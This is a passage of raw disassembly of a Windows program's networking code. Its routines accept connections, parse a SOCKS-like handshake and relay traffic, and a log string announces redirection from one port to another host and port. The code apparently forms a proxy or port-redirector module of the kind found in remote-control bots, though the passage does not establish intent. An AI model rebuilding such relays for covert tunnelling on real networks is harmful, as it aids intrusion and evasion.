loc_42A709: ; CODE XREF: sub_42A5F0+174j lea eax, [esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 call near ptr 71AB2DC0h nop push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0F6E8026Ah, 90716892h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445340 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax call near ptr 71AB406Ah nop test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445338 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 call near ptr 71AB3B91h nop test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3D8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3D8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3D8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3D8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3D8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax nop call near ptr 71AB9639h loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx call near ptr 71AB2B66h nop lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah nop call near ptr 2811D0Bh loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ¼ db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0A0h ; db 67h ; g db 0FDh ; ý db 0FFh db 68h ; h db 80h ; € db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0E1h ; á db 43h ; C db 0 db 0E8h ; è db 0DAh ; Ú db 5Dh ; ] db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; à db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr 